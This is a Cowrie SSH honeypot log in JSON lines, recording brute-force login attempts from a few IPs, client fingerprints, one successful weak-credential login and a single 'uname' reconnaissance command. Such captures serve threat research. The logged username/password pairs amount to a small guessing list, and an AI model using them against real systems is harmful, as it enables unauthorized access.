{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:10.779547Z","src_ip":"91.92.40.171","session":"74721002525b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.76.112.4","src_port":58488,"dst_ip":"159.203.135.109","dst_port":22,"session":"e01115da8a3f","protocol":"ssh","message":"New connection: 61.76.112.4:58488 (159.203.135.109:22) [session: e01115da8a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:11.686612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:11.690757Z","src_ip":"61.76.112.4","session":"e01115da8a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:11.902695Z","src_ip":"61.76.112.4","session":"e01115da8a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad123","message":"login attempt [milad/milad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:11.909110Z","src_ip":"91.92.42.133","session":"5922dca86c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"11223344","message":"login attempt [ftpuser/11223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:12.735485Z","src_ip":"61.76.112.4","session":"e01115da8a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:13.502046Z","src_ip":"91.92.42.133","session":"5922dca86c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:13.947987Z","src_ip":"61.76.112.4","session":"e01115da8a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41268,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed50ca0ba4ad","protocol":"ssh","message":"New connection: 91.92.42.133:41268 (159.203.135.109:22) [session: ed50ca0ba4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:14.972709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:15.997687Z","src_ip":"91.92.42.133","session":"ed50ca0ba4ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:16.001069Z","src_ip":"91.92.42.133","session":"ed50ca0ba4ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33396,"dst_ip":"159.203.135.109","dst_port":22,"session":"a540e62bc972","protocol":"ssh","message":"New connection: 91.92.40.171:33396 (159.203.135.109:22) [session: a540e62bc972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:16.082185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:16.169629Z","src_ip":"91.92.40.171","session":"a540e62bc972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:16.990448Z","src_ip":"91.92.40.171","session":"a540e62bc972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:18.501463Z","src_ip":"91.92.42.133","session":"ed50ca0ba4ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123","message":"login attempt [support/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:20.072565Z","src_ip":"91.92.40.171","session":"a540e62bc972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36350,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb52ddbe61b6","protocol":"ssh","message":"New connection: 91.92.40.171:36350 (159.203.135.109:22) [session: fb52ddbe61b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:20.081374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:20.095283Z","src_ip":"91.92.40.171","session":"fb52ddbe61b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:20.182310Z","src_ip":"91.92.40.171","session":"fb52ddbe61b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:20.635165Z","src_ip":"91.92.42.133","session":"ed50ca0ba4ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:21.060839Z","src_ip":"91.92.40.171","session":"fb52ddbe61b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:21.858750Z","src_ip":"91.92.40.171","session":"a540e62bc972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41366,"dst_ip":"159.203.135.109","dst_port":22,"session":"b55b060e88a2","protocol":"ssh","message":"New connection: 91.92.42.133:41366 (159.203.135.109:22) [session: b55b060e88a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:22.076490Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:22.163247Z","src_ip":"91.92.40.171","session":"fb52ddbe61b6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:22.768752Z","src_ip":"91.92.42.133","session":"b55b060e88a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:22.771863Z","src_ip":"91.92.42.133","session":"b55b060e88a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"1234","message":"login attempt [admin2/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:26.691519Z","src_ip":"91.92.42.133","session":"b55b060e88a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37138,"dst_ip":"159.203.135.109","dst_port":22,"session":"95bedcc7acf4","protocol":"ssh","message":"New connection: 91.92.40.171:37138 (159.203.135.109:22) [session: 95bedcc7acf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:27.276812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:27.295356Z","src_ip":"91.92.40.171","session":"95bedcc7acf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:28.279043Z","src_ip":"91.92.40.171","session":"95bedcc7acf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:28.406521Z","src_ip":"91.92.42.133","session":"b55b060e88a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49948,"dst_ip":"159.203.135.109","dst_port":22,"session":"696f51d7d654","protocol":"ssh","message":"New connection: 91.92.42.133:49948 (159.203.135.109:22) [session: 696f51d7d654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:28.547799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:29.328655Z","src_ip":"91.92.42.133","session":"696f51d7d654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:29.332033Z","src_ip":"91.92.42.133","session":"696f51d7d654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37154,"dst_ip":"159.203.135.109","dst_port":22,"session":"7453b19b928a","protocol":"ssh","message":"New connection: 91.92.40.171:37154 (159.203.135.109:22) [session: 7453b19b928a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:31.087573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:31.142467Z","src_ip":"91.92.40.171","session":"7453b19b928a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:31.245570Z","src_ip":"91.92.40.171","session":"7453b19b928a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:31.792467Z","src_ip":"91.92.40.171","session":"7453b19b928a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:31.879457Z","src_ip":"91.92.40.171","session":"95bedcc7acf4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:32.058186Z","src_ip":"91.92.40.171","session":"7453b19b928a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:32.060918Z","src_ip":"91.92.40.171","session":"7453b19b928a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:32.163997Z","src_ip":"91.92.40.171","session":"7453b19b928a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:32.169502Z","src_ip":"91.92.40.171","session":"7453b19b928a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:33.745854Z","src_ip":"91.92.40.171","session":"95bedcc7acf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:33.867611Z","src_ip":"91.92.42.133","session":"696f51d7d654","protocol":"ssh"}
